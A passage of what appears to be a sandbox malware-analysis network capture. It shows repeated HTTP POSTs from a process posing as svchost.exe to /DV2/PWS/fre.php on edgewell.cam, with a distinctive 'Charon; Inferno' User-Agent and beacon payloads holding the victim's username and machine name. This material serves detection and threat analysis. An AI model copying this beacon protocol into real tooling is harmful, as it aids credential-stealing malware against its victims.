May 27, 2024 02:57:37.392899036 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:38.021918058 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:37 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ao57ZpyJMjp7ycHsT%2F9Ns93YJF%2BHjkB%2BX6GGC0uzE4Dfl1snziLFTwyuDQSgRc56fjESwOh9Es8Beo%2FTiLr6ViMlN9BZrO6vLhZAd7GOj2A65miHFnpACiX3pKnfC6Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d4b0d6dc35a-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49758	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:38.199507952 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:38.252654076 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:38.868324041 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u8ifgqtf8%2B0dae%2BhQDqXbc1XaU3wlTKMUpZAys%2BQPL8jaq7DZnsc%2BgtIiTiuJw6%2FCei6LyydchsR3hxVZrolMUZh3cEy0plnhi7BYXrH95N%2BdK2sqG6BWciLjTsqHIs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d504d968c60-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49759	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:39.029386997 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:39.077013016 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:39.769953012 CEST	589	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:39 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9q2s2SmZVxEqYwwi8wCVcVM27XV1I6ucDVHkugPlAPylEehFwVvQQjrrSY2kdbs9FEQj7FcEL2oP9Z5I78aK4UFKAiUzFpWW8tXDFyoyubNNtZwufLJEgmBnoe4BNas%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d55d84643fb-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49760	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:39.944130898 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:39.999458075 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:40.616909027 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c31L%2FAojv%2Bu%2F8h33RqO08il%2BOTMW5y7YRIbJTc3eNN0iQ9cvdDfIUVUgUNsaWsZoKA4jMs0zpUT4A6uABvP3WeZrI0KtIig69ZS44tk1yqRIoboDWBQdRXU68xZG38c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d5b3e955e7e-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49761	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:41.138153076 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:41.189774036 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:41.901529074 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:41 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j64jGp%2BIiswqiuSMAJ75xoNic%2FtgPASz%2FkF9EKzihmsWfAZxd0SXZDxdd8nVE6oVirg5QmVd0YJ7yUxYG%2BjmEeV5o5cOxFMWgN1nyJ8KpZ7IXvNoorF%2FRbS2Dbs9dfQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d6329449e08-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49762	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:42.867142916 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:42.917149067 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:43.720607996 CEST	601	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:43 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CXteNbnPn%2BTZiPsuS01os9VO%2FoI9bVdiyHAqDeSEMPhYbqyBXP3JY%2BwiQ6S4vDRKExU6o384eap2wt7cW1aK6YSAX4%2BmB%2BILYyjm%2FwnPfB4Q5MdF2rOdW1ZMSkgfXjs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d6e7f626a4f-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49763	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:43.888979912 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:43.937016964 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:44.546736002 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TOTzP6W39%2FrG4%2Fxcu89oiVcKGcyCy%2FI4bf51xTAchKO7GQ074pZ6V5%2FjnYrYXO45inE2RYSXVN6piOhY9qVwxi8ZnI5fepf4lvd10QPl74gxwBD9BZHT7rAjdt9pYRU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d73df4f4273-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49764	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:44.712945938 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:44.765171051 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:46.118210077 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hrw5jKX3ZoNvYVh4qb%2FmM%2BA1n3wq3pp9unrMT8JvkoaJ9fLEEsKvtQ%2Fnvk37vxlNyuMIU%2BPRSWVJDIOFbHpIkGvJ0hUuGT2r6hKK2YSd7iLrrWVjKkB67v%2BimNKpqEI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d791821421b-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
May 27, 2024 02:57:46.119332075 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hrw5jKX3ZoNvYVh4qb%2FmM%2BA1n3wq3pp9unrMT8JvkoaJ9fLEEsKvtQ%2Fnvk37vxlNyuMIU%2BPRSWVJDIOFbHpIkGvJ0hUuGT2r6hKK2YSd7iLrrWVjKkB67v%2BimNKpqEI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d791821421b-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
May 27, 2024 02:57:46.124115944 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hrw5jKX3ZoNvYVh4qb%2FmM%2BA1n3wq3pp9unrMT8JvkoaJ9fLEEsKvtQ%2Fnvk37vxlNyuMIU%2BPRSWVJDIOFbHpIkGvJ0hUuGT2r6hKK2YSd7iLrrWVjKkB67v%2BimNKpqEI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d791821421b-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49765	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:46.289680958 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:46.344846964 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:46.974343061 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:46 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3AbHBbSGs6FDvVzr4f%2FK1GLc%2Ftt4tYNGRKYtd%2F4bLHqcmpVslkroc0CRYWxsVUioDIjbbbyzgIMDfMtKj9yi8qVBnvYSKWz1qR9BWOeUsZ7Ew7q8dSyBG8H%2Bzp27Oq4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d82e9698cbd-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49766	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:47.148785114 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:47.190504074 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:47.822921038 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kf2MmXD6rwwnZ%2BZZmb3je3g5XxCCEnwGnwaFHiKnnO%2BzE91izXOWp%2FhOPBMdoYY869M1jmQrFKcFV0l2WpbRXeTPIVxwj0Ycnx3W1vOJ8lV5S4YSrc%2F62HBdfOsjeX4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d885efd19bb-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49767	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:48.003345966 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:48.052622080 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:48.780354977 CEST	593	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:48 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HFrVLG0cBLbLuK35jL0J%2FkL2mtmeM4J0bvPfxDB8dwE9ymjp0fsiRVgURfB6xKC5k3jG%2Bg3HBUfVJehZRqG8R0Kbenm21X0SYNv4eJoo748UNO2nAlglsrUCo49Uzas%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d8d9fca43bb-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49769	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:48.941539049 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:48.992826939 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:49.714660883 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:49 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dlyARCa%2F39r22bhJ9Y3SgX3AyKFc8ywD%2FzyOlVPeVZLJXZpRYUj6CA8KENj%2BVSW5Vhhs0Hd6eFCNoMStD8mC4malv2c%2BHkeKD2u4%2Fb6eOFuYv2LnXpA5S68wBYhBpWs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d937c171768-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49770	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:49.900695086 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:49.948944092 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:50.718691111 CEST	599	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:50 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Ktj7FB%2FTmjk2fgK9wjud2Ajg4mdY%2BTSTWVHiFe9no%2FWyVm6S9qEaOQ1D0T%2BRuH6Hx%2B1G6nhirEGftED3hS8mTzGhwwNaLuzyfTAVyGNE0ynAbRXisQhB4x7kHorURI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20d99b9c0c47c-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49771	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:50.878813982 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:50.928930044 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 02:57:51.638334990 CEST	597	IN	HTTP/1.1 404 Not Found Date: Mon, 27 May 2024 00:57:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D6sc%2FfCxXMOs8B1ZW2ZcSZf3QX0cYRf8gQQutYwAbobSfJ6bmtfd7op98JX0%2BKKmQZELm8u9RSLPeZ9FmiRao79HaxSF00SIkk8moJ9puyZoOKup4K8B2ZCvI%2BU5%2Fdw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a20da02ba08c39-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49772	104.21.85.101	80	5504	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 02:57:52.045782089 CEST	240	OUT	POST /DV2/PWS/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: edgewell.cam Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 62B9FE62 Content-Length: 153 Connection: close
May 27, 2024 02:57:52.052719116 CEST	153	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 34 00 37 00 36 00 38 00 38 00 01 00 12 00 00 00 41 00 4c 00 46 00 4f 00 4e 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 Data Ascii: (ckav.rualfons347688ALFONS-PC0FDD42EE188E931437F4FBE2C
